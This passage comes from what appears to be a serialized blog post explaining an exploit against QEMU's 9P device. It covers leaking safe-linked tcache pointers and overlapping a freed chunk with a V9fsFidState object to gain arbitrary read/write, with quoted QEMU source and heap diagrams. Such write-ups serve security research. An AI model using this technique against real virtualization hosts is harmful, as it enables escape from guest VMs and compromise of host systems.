becomes:",{"type":21,"tag":187,"props":129685,"children":129687},{"code":129686},"fd = 0 ^ (curr >> 12)\n",[129688],{"type":21,"tag":194,"props":129689,"children":129690},{"__ignoreMap":7},[129691],{"type":27,"value":129686},{"type":21,"tag":30,"props":129693,"children":129694},{},[129695,129697,129702],{"type":27,"value":129696},"So if we free a single chunk into an empty tcache bin, its ",{"type":21,"tag":194,"props":129698,"children":129700},{"className":129699},[],[129701],{"type":27,"value":129655},{"type":27,"value":129703}," field is effectively just the chunk address shifted right by 12.",{"type":21,"tag":30,"props":129705,"children":129706},{},[129707],{"type":27,"value":129708},"In the overlap we achieved earlier:",{"type":21,"tag":187,"props":129710,"children":129712},{"code":129711}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+--------------------+\n| | |\n| .value Y | .value C |\n| | |\n+--------------------+--------------------+\n",[129713],{"type":21,"tag":194,"props":129714,"children":129715},{"__ignoreMap":7},[129716],{"type":27,"value":129711},{"type":21,"tag":30,"props":129718,"children":129719},{},[129720,129722,129728,129730,129736,129738,129744,129746,129751],{"type":27,"value":129721},"We first free ",{"type":21,"tag":194,"props":129723,"children":129725},{"className":129724},[],[129726],{"type":27,"value":129727},".value C",{"type":27,"value":129729}," into tcache and read its contents through the oversized ",{"type":21,"tag":194,"props":129731,"children":129733},{"className":129732},[],[129734],{"type":27,"value":129735},".value Y",{"type":27,"value":129737},". This gives us ",{"type":21,"tag":194,"props":129739,"children":129741},{"className":129740},[],[129742],{"type":27,"value":129743},".value C >> 12",{"type":27,"value":129745},". That is not yet the exact address of ",{"type":21,"tag":194,"props":129747,"children":129749},{"className":129748},[],[129750],{"type":27,"value":129727},{"type":27,"value":129752},", since the lower 12 bits are lost.",{"type":21,"tag":30,"props":129754,"children":129755},{},[129756,129758,129763,129765,129770,129772,129777,129779,129784],{"type":27,"value":129757},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":21,"tag":194,"props":129759,"children":129761},{"className":129760},[],[129762],{"type":27,"value":129727},{"type":27,"value":129764},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":21,"tag":194,"props":129766,"children":129768},{"className":129767},[],[129769],{"type":27,"value":129727},{"type":27,"value":129771}," again. This time, ",{"type":21,"tag":194,"props":129773,"children":129775},{"className":129774},[],[129776],{"type":27,"value":57942},{"type":27,"value":129778}," is no longer ",{"type":21,"tag":194,"props":129780,"children":129782},{"className":129781},[],[129783],{"type":27,"value":54872},{"type":27,"value":129785},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":21,"tag":187,"props":129787,"children":129788},{"code":129660},[129789],{"type":21,"tag":194,"props":129790,"children":129791},{"__ignoreMap":7},[129792],{"type":27,"value":129660},{"type":21,"tag":30,"props":129794,"children":129795},{},[129796,129798,129804,129806,129811,129813,129818,129820,129825],{"type":27,"value":129797},"Since we already know ",{"type":21,"tag":194,"props":129799,"children":129801},{"className":129800},[],[129802],{"type":27,"value":129803},"curr >> 12",{"type":27,"value":129805}," from the first leak, we can read the new ",{"type":21,"tag":194,"props":129807,"children":129809},{"className":129808},[],[129810],{"type":27,"value":129655},{"type":27,"value":129812}," value from ",{"type":21,"tag":194,"props":129814,"children":129816},{"className":129815},[],[129817],{"type":27,"value":129727},{"type":27,"value":129819}," and recover the exact address of ",{"type":21,"tag":194,"props":129821,"children":129823},{"className":129822},[],[129824],{"type":27,"value":57942},{"type":27,"value":129826}," by reversing the XOR:",{"type":21,"tag":187,"props":129828,"children":129830},{"code":129829},"next = fd ^ (curr >> 12)\n",[129831],{"type":21,"tag":194,"props":129832,"children":129833},{"__ignoreMap":7},[129834],{"type":27,"value":129829},{"type":21,"tag":30,"props":129836,"children":129837},{},[129838],{"type":27,"value":129839},"This gives us the exact address of a heap chunk whose contents we control.",{"type":21,"tag":59,"props":129841,"children":129843},{"id":129842},"arbitrary-read-and-write",[129844],{"type":27,"value":129845},"Arbitrary Read and Write",{"type":21,"tag":30,"props":129847,"children":129848},{},[129849,129851,129856],{"type":27,"value":129850},"Having a controlled chunk at a known address lets us repurpose ",{"type":21,"tag":194,"props":129852,"children":129854},{"className":129853},[],[129855],{"type":27,"value":129727},{"type":27,"value":129857}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":21,"tag":30,"props":129859,"children":129860},{},[129861,129863,129868],{"type":27,"value":129862},"Recall ",{"type":21,"tag":194,"props":129864,"children":129866},{"className":129865},[],[129867],{"type":27,"value":128331},{"type":27,"value":185},{"type":21,"tag":187,"props":129870,"children":129872},{"code":129871,"language":3954,"meta":7,"className":17318,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n uint64_t size;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n\n [...]\n\n file_fidp = get_fid(pdu, fid);\n\n [...]\n\n /* Make the file fid point to xattr */\n xattr_fidp = file_fidp;\n xattr_fidp->fs.xattr.len = size;\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n [...]\n",[129873],{"type":21,"tag":194,"props":129874,"children":129875},{"__ignoreMap":7},[129876,129915,129922,129933,129948,129963,129970,129977,129984,130006,130013,130020,130027,130035,130052,130091,130134,130141],{"type":21,"tag":198,"props":129877,"children":129878},{"class":200,"line":201},[129879,129883,129887,129891,129895,129899,129903,129907,129911],{"type":21,"tag":198,"props":129880,"children":129881},{"style":249},[129882],{"type":27,"value":51420},{"type":21,"tag":198,"props":129884,"children":129885},{"style":249},[129886],{"type":27,"value":51425},{"type":21,"tag":198,"props":129888,"children":129889},{"style":211},[129890],{"type":27,"value":128326},{"type":21,"tag":198,"props":129892,"children":129893},{"style":698},[129894],{"type":27,"value":128331},{"type":21,"tag":198,"props":129896,"children":129897},{"style":211},[129898],{"type":27,"value":706},{"type":21,"tag":198,"props":129900,"children":129901},{"style":249},[129902],{"type":27,"value":52003},{"type":21,"tag":198,"props":129904,"children":129905},{"style":683},[129906],{"type":27,"value":10626},{"type":21,"tag":198,"props":129908,"children":129909},{"style":226},[129910],{"type":27,"value":128348},{"type":21,"tag":198,"props":129912,"children":129913},{"style":211},[129914],{"type":27,"value":789},{"type":21,"tag":198,"props":129916,"children":129917},{"class":200,"line":217},[129918],{"type":21,"tag":198,"props":129919,"children":129920},{"style":211},[129921],{"type":27,"value":11689},{"type":21,"tag":198,"props":129923,"children":129924},{"class":200,"line":236},[129925,129929],{"type":21,"tag":198,"props":129926,"children":129927},{"style":249},[129928],{"type":27,"value":55989},{"type":21,"tag":198,"props":129930,"children":129931},{"style":211},[129932],{"type":27,"value":124984},{"type":21,"tag":198,"props":129934,"children":129935},{"class":200,"line":260},[129936,129940,129944],{"type":21,"tag":198,"props":129937,"children":129938},{"style":211},[129939],{"type":27,"value":128473},{"type":21,"tag":198,"props":129941,"children":129942},{"style":683},[129943],{"type":27,"value":5383},{"type":21,"tag":198,"props":129945,"children":129946},{"style":211},[129947],{"type":27,"value":128482},{"type":21,"tag":198,"props":129949,"children":129950},{"class":200,"line":281},[129951,129955,129959],{"type":21,"tag":198,"props":129952,"children":129953},{"style":211},[129954],{"type":27,"value":128473},{"type":21,"tag":198,"props":129956,"children":129957},{"style":683},[129958],{"type":27,"value":5383},{"type":21,"tag":198,"props":129960,"children":129961},{"style":211},[129962],{"type":27,"value":128498},{"type":21,"tag":198,"props":129964,"children":129965},{"class":200,"line":302},[129966],{"type":21,"tag":198,"props":129967,"children":129968},{"emptyLinePlaceholder":16},[129969],{"type":27,"value":1283},{"type":21,"tag":198,"props":129971,"children":129972},{"class":200,"line":323},[129973],{"type":21,"tag":198,"props":129974,"children":129975},{"style":211},[129976],{"type":27,"value":105183},{"type":21,"tag":198,"props":129978,"children":129979},{"class":200,"line":344},[129980],{"type":21,"tag":198,"props":129981,"children":129982},{"emptyLinePlaceholder":16},[129983],{"type":27,"value":1283},{"type":21,"tag":198,"props":129985,"children":129986},{"class":200,"line":365},[129987,129992,129996,130001],{"type":21,"tag":198,"props":129988,"children":129989},{"style":211},[129990],{"type":27,"value":129991}," file_fidp ",{"type":21,"tag":198,"props":129993,"children":129994},{"style":683},[129995],{"type":27,"value":3174},{"type":21,"tag":198,"props":129997,"children":129998},{"style":698},[129999],{"type":27,"value":130000}," get_fid",{"type":21,"tag":198,"props":130002,"children":130003},{"style":211},[130004],{"type":27,"value":130005},"(pdu, fid);\n",{"type":21,"tag":198,"props":130007,"children":130008},{"class":200,"line":386},[130009],{"type":21,"tag":198,"props":130010,"children":130011},{"emptyLinePlaceholder":16},[130012],{"type":27,"value":1283},{"type":21,"tag":198,"props":130014,"children":130015},{"class":200,"line":408},[130016],{"type":21,"tag":198,"props":130017,"children":130018},{"style":211},[130019],{"type":27,"value":105183},{"type":21,"tag":198,"props":130021,"children":130022},{"class":200,"line":429},[130023],{"type":21,"tag":198,"props":130024,"children":130025},{"emptyLinePlaceholder":16},[130026],{"type":27,"value":1283},{"type":21,"tag":198,"props":130028,"children":130029},{"class":200,"line":450},[130030],{"type":21,"tag":198,"props":130031,"children":130032},{"style":1233},[130033],{"type":27,"value":130034}," /* Make the file fid point to xattr */\n",{"type":21,"tag":198,"props":130036,"children":130037},{"class":200,"line":468},[130038,130043,130047],{"type":21,"tag":198,"props":130039,"children":130040},{"style":211},[130041],{"type":27,"value":130042}," xattr_fidp ",{"type":21,"tag":198,"props":130044,"children":130045},{"style":683},[130046],{"type":27,"value":3174},{"type":21,"tag":198,"props":130048,"children":130049},{"style":211},[130050],{"type":27,"value":130051}," file_fidp;\n",{"type":21,"tag":198,"props":130053,"children":130054},{"class":200,"line":477},[130055,130059,130063,130067,130071,130075,130079,130083,130087],{"type":21,"tag":198,"props":130056,"children":130057},{"style":226},[130058],{"type":27,"value":128876},{"type":21,"tag":198,"props":130060,"children":130061},{"style":211},[130062],{"type":27,"value":14564},{"type":21,"tag":198,"props":130064,"children":130065},{"style":226},[130066],{"type":27,"value":37753},{"type":21,"tag":198,"props":130068,"children":130069},{"style":211},[130070],{"type":27,"value":658},{"type":21,"tag":198,"props":130072,"children":130073},{"style":226},[130074],{"type":27,"value":128800},{"type":21,"tag":198,"props":130076,"children":130077},{"style":211},[130078],{"type":27,"value":658},{"type":21,"tag":198,"props":130080,"children":130081},{"style":226},[130082],{"type":27,"value":9950},{"type":21,"tag":198,"props":130084,"children":130085},{"style":683},[130086],{"type":27,"value":979},{"type":21,"tag":198,"props":130088,"children":130089},{"style":211},[130090],{"type":27,"value":124984},{"type":21,"tag":198,"props":130092,"children":130093},{"class":200,"line":494},[130094,130098,130102,130106,130110,130114,130118,130122,130126,130130],{"type":21,"tag":198,"props":130095,"children":130096},{"style":226},[130097],{"type":27,"value":128876},{"type":21,"tag":198,"props":130099,"children":130100},{"style":211},[130101],{"type":27,"value":14564},{"type":21,"tag":198,"props":130103,"children":130104},{"style":226},[130105],{"type":27,"value":37753},{"type":21,"tag":198,"props":130107,"children":130108},{"style":211},[130109],{"type":27,"value":658},{"type":21,"tag":198,"props":130111,"children":130112},{"style":226},[130113],{"type":27,"value":128800},{"type":21,"tag":198,"props":130115,"children":130116},{"style":211},[130117],{"type":27,"value":658},{"type":21,"tag":198,"props":130119,"children":130120},{"style":226},[130121],{"type":27,"value":39910},{"type":21,"tag":198,"props":130123,"children":130124},{"style":683},[130125],{"type":27,"value":979},{"type":21,"tag":198,"props":130127,"children":130128},{"style":698},[130129],{"type":27,"value":124555},{"type":21,"tag":198,"props":130131,"children":130132},{"style":211},[130133],{"type":27,"value":128913},{"type":21,"tag":198,"props":130135,"children":130136},{"class":200,"line":515},[130137],{"type":21,"tag":198,"props":130138,"children":130139},{"emptyLinePlaceholder":16},[130140],{"type":27,"value":1283},{"type":21,"tag":198,"props":130142,"children":130143},{"class":200,"line":4484},[130144],{"type":21,"tag":198,"props":130145,"children":130146},{"style":211},[130147],{"type":27,"value":105183},{"type":21,"tag":30,"props":130149,"children":130150},{},[130151,130153,130159,130161,130166,130167,130172,130174,130179,130181,130187,130188,130194,130196,130201,130202,130207],{"type":27,"value":130152},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":21,"tag":194,"props":130154,"children":130156},{"className":130155},[],[130157],{"type":27,"value":130158},"V9fsFidState",{"type":27,"value":130160}," object. In other words, if we can place a ",{"type":21,"tag":194,"props":130162,"children":130164},{"className":130163},[],[130165],{"type":27,"value":130158},{"type":27,"value":8134},{"type":21,"tag":194,"props":130168,"children":130170},{"className":130169},[],[130171],{"type":27,"value":129727},{"type":27,"value":130173}," currently sits, the overlapping ",{"type":21,"tag":194,"props":130175,"children":130177},{"className":130176},[],[130178],{"type":27,"value":129735},{"type":27,"value":130180}," chunk can overwrite ",{"type":21,"tag":194,"props":130182,"children":130184},{"className":130183},[],[130185],{"type":27,"value":130186},"V9fsFidState.fs.xattr.value",{"type":27,"value":11801},{"type":21,"tag":194,"props":130189,"children":130191},{"className":130190},[],[130192],{"type":27,"value":130193},"V9fsFidState.fs.xattr.len",{"type":27,"value":130195},". That would immediately give us arbitrary read and write through ",{"type":21,"tag":194,"props":130197,"children":130199},{"className":130198},[],[130200],{"type":27,"value":128989},{"type":27,"value":11801},{"type":21,"tag":194,"props":130203,"children":130205},{"className":130204},[],[130206],{"type":27,"value":128981},{"type":27,"value":658},{"type":21,"tag":30,"props":130209,"children":130210},{},[130211,130213,130218,130219,130224,130226,130231,130233,130239,130241,130246,130248,130253,130255,130260,130262,130267,130269,130274],{"type":27,"value":130212},"At this point, ",{"type":21,"tag":194,"props":130214,"children":130216},{"className":130215},[],[130217],{"type":27,"value":129727},{"type":27,"value":16248},{"type":21,"tag":194,"props":130220,"children":130222},{"className":130221},[],[130223],{"type":27,"value":128196},{"type":27,"value":130225}," chunk, while ",{"type":21,"tag":194,"props":130227,"children":130229},{"className":130228},[],[130230],{"type":27,"value":130158},{"type":27,"value":130232}," falls into the ",{"type":21,"tag":194,"props":130234,"children":130236},{"className":130235},[],[130237],{"type":27,"value":130238},"0x120",{"type":27,"value":130240}," size class. Before freeing ",{"type":21,"tag":194,"props":130242,"children":130244},{"className":130243},[],[130245],{"type":27,"value":129727},{"type":27,"value":130247},", we therefore use the oversized ",{"type":21,"tag":194,"props":130249,"children":130251},{"className":130250},[],[130252],{"type":27,"value":129735},{"type":27,"value":130254}," chunk to change its size to match ",{"type":21,"tag":194,"props":130256,"children":130258},{"className":130257},[],[130259],{"type":27,"value":130158},{"type":27,"value":130261},". Once ",{"type":21,"tag":194,"props":130263,"children":130265},{"className":130264},[],[130266],{"type":27,"value":129727},{"type":27,"value":130268}," is freed, it is inserted into the ",{"type":21,"tag":194,"props":130270,"children":130272},{"className":130271},[],[130273],{"type":27,"value":130238},{"type":27,"value":130275}," tcache bin.",{"type":21,"tag":187,"props":130277,"children":130279},{"code":130278}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| Free |\nv 0x120 v\n+--------------------+---------------+----+\n| |...............| |\n| .value Y |...............| |\n| |...............| |\n+--------------------+---------------+----+\n",[130280],{"type":21,"tag":194,"props":130281,"children":130282},{"__ignoreMap":7},[130283],{"type":27,"value":130278},{"type":21,"tag":30,"props":130285,"children":130286},{},[130287,130289,130294,130296,130302,130304,130310,130312,130317],{"type":27,"value":130288},"After that, we can simply allocate a new ",{"type":21,"tag":194,"props":130290,"children":130292},{"className":130291},[],[130293],{"type":27,"value":130158},{"type":27,"value":130295}," with a ",{"type":21,"tag":194,"props":130297,"children":130299},{"className":130298},[],[130300],{"type":27,"value":130301},"P9_TWALK",{"type":27,"value":130303}," request and a fresh FID - this reaches ",{"type":21,"tag":194,"props":130305,"children":130307},{"className":130306},[],[130308],{"type":27,"value":130309},"alloc_fid",{"type":27,"value":130311},", which allocates a new ",{"type":21,"tag":194,"props":130313,"children":130315},{"className":130314},[],[130316],{"type":27,"value":130158},{"type":27,"value":185},{"type":21,"tag":187,"props":130319,"children":130321},{"code":130320,"language":3954,"meta":7,"className":17318,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n V9fsFidState *fidp;\n V9fsFidState *newfidp = NULL;\n\n [...]\n\n if (fid == newfid) {\n [...]\n } else {\n newfidp = alloc_fid(s, newfid);\n if (newfidp == NULL) {\n err = -EINVAL;\n goto out;\n }\n newfidp->uid = fidp->uid;\n v9fs_path_copy(&newfidp->path, &path);\n }\n\n [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n V9fsFidState *f;\n\n f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n if (f) {\n /* If fid is already there return NULL */\n BUG_ON(f->clunked);\n return NULL;\n }\n f = g_new0(V9fsFidState, 1);\n\n [...]\n",[130322],{"type":21,"tag":194,"props":130323,"children":130324},{"__ignoreMap":7},[130325,130365,130372,130388,130416,130423,130430,130437,130458,130465,130480,130502,130526,130547,130558,130565,130603,130645,130652,130659,130666,130673,130680,130731,130738,130753,130760,130808,130820,130828,130857,130872,130879,130908,130915],{"type":21,"tag":198,"props":130326,"children":130327},{"class":200,"line":201},[130328,130332,130336,130340,130345,130349,130353,130357,130361],{"type":21,"tag":198,"props":130329,"children":130330},{"style":249},[130331],{"type":27,"value":51420},{"type":21,"tag":198,"props":130333,"children":130334},{"style":249},[130335],{"type":27,"value":51425},{"type":21,"tag":198,"props":130337,"children":130338},{"style":211},[130339],{"type":27,"value":128326},{"type":21,"tag":198,"props":130341,"children":130342},{"style":698},[130343],{"type":27,"value":130344},"v9fs_walk",{"type":21,"tag":198,"props":130346,"children":130347},{"style":211},[130348],{"type":27,"value":706},{"type":21,"tag":198,"props":130350,"children":130351},{"style":249},[130352],{"type":27,"value":52003},{"type":21,"tag":198,"props":130354,"children":130355},{"style":683},[130356],{"type":27,"value":10626},{"type":21,"tag":198,"props":130358,"children":130359},{"style":226},[130360],{"type":27,"value":128348},{"type":21,"tag":198,"props":130362,"children":130363},{"style":211},[130364],{"type":27,"value":789},{"type":21,"tag":198,"props":130366,"children":130367},{"class":200,"line":217},[130368],{"type":21,"tag":198,"props":130369,"children":130370},{"style":211},[130371],{"type":27,"value":11689},{"type":21,"tag":198,"props":130373,"children":130374},{"class":200,"line":236},[130375,130379,130383],{"type":21,"tag":198,"props":130376,"children":130377},{"style":211},[130378],{"type":27,"value":128473},{"type":21,"tag":198,"props":130380,"children":130381},{"style":683},[130382],{"type":27,"value":5383},{"type":21,"tag":198,"props":130384,"children":130385},{"style":211},[130386],{"type":27,"value":130387},"fidp;\n",{"type":21,"tag":198,"props":130389,"children":130390},{"class":200,"line":260},[130391,130395,130399,130404,130408,130412],{"type":21,"tag":198,"props":130392,"children":130393},{"style":211},[130394],{"type":27,"value":128473},{"type":21,"tag":198,"props":130396,"children":130397},{"style":683},[130398],{"type":27,"value":5383},{"type":21,"tag":198,"props":130400,"children":130401},{"style":211},[130402],{"type":27,"value":130403},"newfidp ",{"type":21,"tag":198,"props":130405,"children":130406},{"style":683},[130407],{"type":27,"value":3174},{"type":21,"tag":198,"props":130409,"children":130410},{"style":249},[130411],{"type":27,"value":128152},{"type":21,"tag":198,"props":130413,"children":130414},{"style":211},[130415],{"type":27,"value":1483},{"type":21,"tag":198,"props":130417,"children":130418},{"class":200,"line":281},[130419],{"type":21,"tag":198,"props":130420,"children":130421},{"emptyLinePlaceholder":16},[130422],{"type":27,"value":1283},{"type":21,"tag":198,"props":130424,"children":130425},{"class":200,"line":302},[130426],{"type":21,"tag":198,"props":130427,"children":130428},{"style":211},[130429],{"type":27,"value":105183},{"type":21,"tag":198,"props":130431,"children":130432},{"class":200,"line":323},[130433],{"type":21,"tag":198,"props":130434,"children":130435},{"emptyLinePlaceholder":16},[130436],{"type":27,"value":1283},{"type":21,"tag":198,"props":130438,"children":130439},{"class":200,"line":344},[130440,130444,130449,130453],{"type":21,"tag":198,"props":130441,"children":130442},{"style":640},[130443],{"type":27,"value":643},{"type":21,"tag":198,"props":130445,"children":130446},{"style":211},[130447],{"type":27,"value":130448}," (fid ",{"type":21,"tag":198,"props":130450,"children":130451},{"style":683},[130452],{"type":27,"value":9386},{"type":21,"tag":198,"props":130454,"children":130455},{"style":211},[130456],{"type":27,"value":130457}," newfid) {\n",{"type":21,"tag":198,"props":130459,"children":130460},{"class":200,"line":365},[130461],{"type":21,"tag":198,"props":130462,"children":130463},{"style":211},[130464],{"type":27,"value":124421},{"type":21,"tag":198,"props":130466,"children":130467},{"class":200,"line":386},[130468,130472,130476],{"type":21,"tag":198,"props":130469,"children":130470},{"style":211},[130471],{"type":27,"value":16582},{"type":21,"tag":198,"props":130473,"children":130474},{"style":640},[130475],{"type":27,"value":4122},{"type":21,"tag":198,"props":130477,"children":130478},{"style":211},[130479],{"type":27,"value":233},{"type":21,"tag":198,"props":130481,"children":130482},{"class":200,"line":408},[130483,130488,130492,130497],{"type":21,"tag":198,"props":130484,"children":130485},{"style":211},[130486],{"type":27,"value":130487}," newfidp ",{"type":21,"tag":198,"props":130489,"children":130490},{"style":683},[130491],{"type":27,"value":3174},{"type":21,"tag":198,"props":130493,"children":130494},{"style":698},[130495],{"type":27,"value":130496}," alloc_fid",{"type":21,"tag":198,"props":130498,"children":130499},{"style":211},[130500],{"type":27,"value":130501},"(s, newfid);\n",{"type":21,"tag":198,"props":130503,"children":130504},{"class":200,"line":429},[130505,130509,130514,130518,130522],{"type":21,"tag":198,"props":130506,"children":130507},{"style":640},[130508],{"type":27,"value":4079},{"type":21,"tag":198,"props":130510,"children":130511},{"style":211},[130512],{"type":27,"value":130513}," (newfidp ",{"type":21,"tag":198,"props":130515,"children":130516},{"style":683},[130517],{"type":27,"value":9386},{"type":21,"tag":198,"props":130519,"children":130520},{"style":249},[130521],{"type":27,"value":128152},{"type":21,"tag":198,"props":130523,"children":130524},{"style":211},[130525],{"type":27,"value":668},{"type":21,"tag":198,"props":130527,"children":130528},{"class":200,"line":450},[130529,130534,130538,130542],{"type":21,"tag":198,"props":130530,"children":130531},{"style":211},[130532],{"type":27,"value":130533}," err ",{"type":21,"tag":198,"props":130535,"children":130536},{"style":683},[130537],{"type":27,"value":3174},{"type":21,"tag":198,"props":130539,"children":130540},{"style":683},[130541],{"type":27,"value":51631},{"type":21,"tag":198,"props":130543,"children":130544},{"style":211},[130545],{"type":27,"value":130546},"EINVAL;\n",{"type":21,"tag":198,"props":130548,"children":130549},{"class":200,"line":468},[130550,130554],{"type":21,"tag":198,"props":130551,"children":130552},{"style":640},[130553],{"type":27,"value":60927},{"type":21,"tag":198,"props":130555,"children":130556},{"style":211},[130557],{"type":27,"value":60932},{"type":21,"tag":198,"props":130559,"children":130560},{"class":200,"line":477},[130561],{"type":21,"tag":198,"props":130562,"children":130563},{"style":211},[130564],{"type":27,"value":1160},{"type":21,"tag":198,"props":130566,"children":130567},{"class":200,"line":494},[130568,130573,130577,130582,130586,130591,130595,130599],{"type":21,"tag":198,"props":130569,"children":130570},{"style":226},[130571],{"type":27,"value":130572}," newfidp",{"type":21,"tag":198,"props":130574,"children":130575},{"style":211},[130576],{"type":27,"value":14564},{"type":21,"tag":198,"props":130578,"children":130579},{"style":226},[130580],{"type":27,"value":130581},"uid",{"type":21,"tag":198,"props":130583,"children":130584},{"style":683},[130585],{"type":27,"value":979},{"type":21,"tag":198,"props":130587,"children":130588},{"style":226},[130589],{"type":27,"value":130590}," fidp",{"type":21,"tag":198,"props":130592,"children":130593},{"style":211},[130594],{"type":27,"value":14564},{"type":21,"tag":198,"props":130596,"children":130597},{"style":226},[130598],{"type":27,"value":130581},{"type":21,"tag":198,"props":130600,"children":130601},{"style":211},[130602],{"type":27,"value":1483},{"type":21,"tag":198,"props":130604,"children":130605},{"class":200,"line":515},[130606,130611,130615,130619,130624,130628,130632,130636,130640],{"type":21,"tag":198,"props":130607,"children":130608},{"style":698},[130609],{"type":27,"value":130610}," v9fs_path_copy",{"type":21,"tag":198,"props":130612,"children":130613},{"style":211},[130614],{"type":27,"value":706},{"type":21,"tag":198,"props":130616,"children":130617},{"style":683},[130618],{"type":27,"value":3917},{"type":21,"tag":198,"props":130620,"children":130621},{"style":226},[130622],{"type":27,"value":130623},"newfidp",{"type":21,"tag":198,"props":130625,"children":130626},{"style":211},[130627],{"type":27,"value":14564},{"type":21,"tag":198,"props":130629,"children":130630},{"style":226},[130631],{"type":27,"value":112706},{"type":21,"tag":198,"props":130633,"children":130634},{"style":211},[130635],{"type":27,"value":828},{"type":21,"tag":198,"props":130637,"children":130638},{"style":683},[130639],{"type":27,"value":3917},{"type":21,"tag":198,"props":130641,"children":130642},{"style":211},[130643],{"type":27,"value":130644},"path);\n",{"type":21,"tag":198,"props":130646,"children":130647},{"class":200,"line":4484},[130648],{"type":21,"tag":198,"props":130649,"children":130650},{"style":211},[130651],{"type":27,"value":880},{"type":21,"tag":198,"props":130653,"children":130654},{"class":200,"line":4493},[130655],{"type":21,"tag":198,"props":130656,"children":130657},{"emptyLinePlaceholder":16},[130658],{"type":27,"value":1283},{"type":21,"tag":198,"props":130660,"children":130661},{"class":200,"line":4561},[130662],{"type":21,"tag":198,"props":130663,"children":130664},{"style":211},[130665],{"type":27,"value":105183},{"type":21,"tag":198,"props":130667,"children":130668},{"class":200,"line":4569},[130669],{"type":21,"tag":198,"props":130670,"children":130671},{"style":211},[130672],{"type":27,"value":1120},{"type":21,"tag":198,"props":130674,"children":130675},{"class":200,"line":4599},[130676],{"type":21,"tag":198,"props":130677,"children":130678},{"emptyLinePlaceholder":16},[130679],{"type":27,"value":1283},{"type":21,"tag":198,"props":130681,"children":130682},{"class":200,"line":4607},[130683,130687,130692,130696,130700,130705,130709,130713,130717,130722,130727],{"type":21,"tag":198,"props":130684,"children":130685},{"style":249},[130686],{"type":27,"value":51420},{"type":21,"tag":198,"props":130688,"children":130689},{"style":211},[130690],{"type":27,"value":130691}," V9fsFidState ",{"type":21,"tag":198,"props":130693,"children":130694},{"style":683},[130695],{"type":27,"value":5383},{"type":21,"tag":198,"props":130697,"children":130698},{"style":698},[130699],{"type":27,"value":130309},{"type":21,"tag":198,"props":130701,"children":130702},{"style":211},[130703],{"type":27,"value":130704},"(V9fsState ",{"type":21,"tag":198,"props":130706,"children":130707},{"style":683},[130708],{"type":27,"value":5383},{"type":21,"tag":198,"props":130710,"children":130711},{"style":226},[130712],{"type":27,"value":11460},{"type":21,"tag":198,"props":130714,"children":130715},{"style":211},[130716],{"type":27,"value":828},{"type":21,"tag":198,"props":130718,"children":130719},{"style":249},[130720],{"type":27,"value":130721},"int32_t",{"type":21,"tag":198,"props":130723,"children":130724},{"style":226},[130725],{"type":27,"value":130726}," fid",{"type":21,"tag":198,"props":130728,"children":130729},{"style":211},[130730],{"type":27,"value":789},{"type":21,"tag":198,"props":130732,"children":130733},{"class":200,"line":4638},[130734],{"type":21,"tag":198,"props":130735,"children":130736},{"style":211},[130737],{"type":27,"value":11689},{"type":21,"tag":198,"props":130739,"children":130740},{"class":200,"line":4646},[130741,130745,130749],{"type":21,"tag":198,"props":130742,"children":130743},{"style":211},[130744],{"type":27,"value":128473},{"type":21,"tag":198,"props":130746,"children":130747},{"style":683},[130748],{"type":27,"value":5383},{"type":21,"tag":198,"props":130750,"children":130751},{"style":211},[130752],{"type":27,"value":51541},{"type":21,"tag":198,"props":130754,"children":130755},{"class":200,"line":4706},[130756],{"type":21,"tag":198,"props":130757,"children":130758},{"emptyLinePlaceholder":16},[130759],{"type":27,"value":1283},{"type":21,"tag":198,"props":130761,"children":130762},{"class":200,"line":9857},[130763,130768,130772,130777,130781,130785,130789,130794,130798,130803],{"type":21,"tag":198,"props":130764,"children":130765},{"style":211},[130766],{"type":27,"value":130767}," f ",{"type":21,"tag":198,"props":130769,"children":130770},{"style":683},[130771],{"type":27,"value":3174},{"type":21,"tag":198,"props":130773,"children":130774},{"style":698},[130775],{"type":27,"value":130776}," g_hash_table_lookup",{"type":21,"tag":198,"props":130778,"children":130779},{"style":211},[130780],{"type":27,"value":706},{"type":21,"tag":198,"props":130782,"children":130783},{"style":226},[130784],{"type":27,"value":11460},{"type":21,"tag":198,"props":130786,"children":130787},{"style":211},[130788],{"type":27,"value":14564},{"type":21,"tag":198,"props":130790,"children":130791},{"style":226},[130792],{"type":27,"value":130793},"fids",{"type":21,"tag":198,"props":130795,"children":130796},{"style":211},[130797],{"type":27,"value":828},{"type":21,"tag":198,"props":130799,"children":130800},{"style":698},[130801],{"type":27,"value":130802},"GINT_TO_POINTER",{"type":21,"tag":198,"props":130804,"children":130805},{"style":211},[130806],{"type":27,"value":130807},"(fid));\n",{"type":21,"tag":198,"props":130809,"children":130810},{"class":200,"line":9875},[130811,130815],{"type":21,"tag":198,"props":130812,"children":130813},{"style":640},[130814],{"type":27,"value":643},{"type":21,"tag":198,"props":130816,"children":130817},{"style":211},[130818],{"type":27,"value":130819}," (f) {\n",{"type":21,"tag":198,"props":130821,"children":130822},{"class":200,"line":9920},[130823],{"type":21,"tag":198,"props":130824,"children":130825},{"style":1233},[130826],{"type":27,"value":130827}," /* If fid is already there return NULL */\n",{"type":21,"tag":198,"props":130829,"children":130830},{"class":200,"line":10026},[130831,130836,130840,130844,130848,130853],{"type":21,"tag":198,"props":130832,"children":130833},{"style":698},[130834],{"type":27,"value":130835}," 